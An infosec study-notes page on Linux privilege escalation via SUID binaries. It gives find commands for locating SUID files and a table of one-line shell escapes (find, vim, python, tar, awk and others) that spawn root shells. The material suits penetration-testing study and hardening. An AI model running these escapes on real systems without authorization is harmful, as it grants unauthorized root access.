> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/linux/suid-binary-exploitation.md).

# SUID Binary Exploitation

SUID (Set User ID) is a special file permission in Linux that allows a file to be executed with the privileges of the file owner (usually root), rather than the user running it.

***

### Find SUID Binaries

```bash
find / -perm -4000 -type f 2>/dev/null
```

Or, for a cleaner output:

```bash
find / -perm -u=s -type f 2>/dev/null
```

***

### Common SUID Binaries Abused for Privilege Escalation

| Binary         | Technique         | Example                                                                         |
| -------------- | ----------------- | ------------------------------------------------------------------------------- |
| `find`         | Command execution | `find . -exec /bin/sh \;`                                                       |
| `vim`          | Shell escape      | `vim -c '!sh'`                                                                  |
| `bash`         | Root shell        | `/bin/bash -p`                                                                  |
| `python`       | Shell spawn       | `python -c 'import os; os.system("/bin/sh")'`                                   |
| `perl`         | Shell spawn       | `perl -e 'exec "/bin/sh";'`                                                     |
| `less`, `more` | Shell escape      | `!sh` within the viewer                                                         |
| `tar`          | Shell             | `tar -cf archive.tar /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh` |
| `nmap`         | Interactive mode  | `--interactive` then `!sh`                                                      |
| `awk`          | Shell             | `awk 'BEGIN {system("/bin/sh")}'`                                               |

***

### GTFOBins Reference

Check <https://gtfobins.github.io> — an excellent resource to find abuse techniques for each binary.